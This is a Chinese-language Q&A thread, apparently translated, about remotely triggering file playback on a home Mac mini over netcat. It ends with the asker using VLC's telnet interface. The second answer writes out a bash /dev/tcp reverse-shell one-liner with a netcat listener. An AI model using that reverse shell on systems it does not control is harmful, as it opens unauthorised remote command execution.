使用 netcat 告诉远程 Mac 运行/打开文件

使用 netcat 告诉远程 Mac 运行/打开文件

我对 netcat 的工作原理知之甚少(几乎没有),除了我设法让一台 Mac mini 监听端口 13370 [使用 nc -l 13370](用于 TCP 命令?)并且我有一台 MacBook 使用 [nc 192.168.1.xxx 13370] 连接到 Mac mini,并且我在 MacBook 上的终端中输入的任何内容都会显示(回声?)在 Mac mini 的终端上。

我希望能够告诉 Mac mini 从同一 LAN 上的另一台设备打开文件(也存储在 Mac mini 上)。所以目前我正在使用 MacBook,但最终我想从我正在制作的家庭自动化应用程序发送命令,例如在连接到电视屏幕的 Mac mini 上播放视频。或者您通常可以在终端中执行的任何其他命令。我的应用程序无法使用 SSH 连接到 Mac mini,这就是我尝试这种方式的原因。

我需要发送什么命令来打开文件?我应该使用某种格式吗?等等?非常感谢您的帮助。

答案1

netcat工具只是一个网络连接工具。它可以监听任何端口并连接到任何端口。它可以输出该信息,甚至可以将数据传输到它。它也非常有用。不幸的是,它只监听和发送信息;它本身不执行任何命令。因此,netcat它不是您想要执行的操作的工具。telnet 也是如此。

为了在远程服务器上运行命令,您需要一些在远程服务器上运行的软件来接受这些命令。用于在远程服务器上执行命令的工具是 SSH。监听服务器将运行 SSHD 守护程序。您可能会费尽心思尝试以其他方式入侵服务器,但由于您已经可以访问该设备,因此这样做会比 SSH 已经存在的情形更麻烦。

您说您的应用程序无法连接到 SSH,但如果它有权访问netcat,那么我建议使用任何访问权限来获取 SSH 的访问权限,然后从那里执行您的命令。

如果您连接的方式netcat是让它监听某个端口,而您的应用程序唯一能做的事情就是连接到该端口,那么您需要制作某种 API 或某种软件,它们可以处理端口上的请求并使用它们通过 SSH 在终端上执行命令。我发现这篇文章提供了一些在 BASH 中执行此操作的建议:

https://unix.stackexchange.com/questions/314550/how-to-set-a-script-to-execute-when-a-port-receives-a-message

一旦您能够将请求放入 shell 脚本中,您就可以让该脚本直接执行您的命令,或者您可以编写由监听软件触发的其他脚本。我会让这个软件在客户端而不是远程服务器上监听,您可以通过 localhost (127.0.0.1) 访问它。此外,请记住添加 SSH 密钥,以便您与远程服务器的连接不需要使用任何密码。这篇文章可能会有所帮助:

https://docs.joyent.com/public-cloud/getting-started/ssh-keys/generating-an-ssh-key-manually/manually-generating-your-ssh-key-in-mac-os-x

答案2

你可以在 MacOS(在计算机 1 上)上创建一个反向 shell,如下所示:

bash -i >& /dev/tcp/ip-address-of-computer-2/1337 0>&1

然后使用以下其中一个 netcat 命令(取决于实现)从另一台计算机(计算机 2)连接到它:

nc -l -p 1337

或者

nc -l 1337

现在您可以在计算机 2 上输入 bash 命令,它们将在运行远程 shell 的计算机(计算机 1)上执行。

答案3

感谢大家在这方面的帮助,经过多次尝试和错误,你们的帮助最终帮助我找到了实现目标的方法。我最终决定不尝试通过 telnet 连接 Mac 本身,而是直接使用 VLC 应用程序,它在端口 4212 上有自己的 telnet 服务器。当我尝试 telnet 连接到 Mac 时,我一直收到“连接被拒绝”的消息,但只要在 VLC 中设置了密码,端口 4212 上的 VLC 就可以正常连接。

控制 VLC 是我最想做的事情,所以我对此很满意。我的应用程序也能像 Mac 客户端通过终端一样发送命令,所以一切都很好。再次感谢大家!

相关内容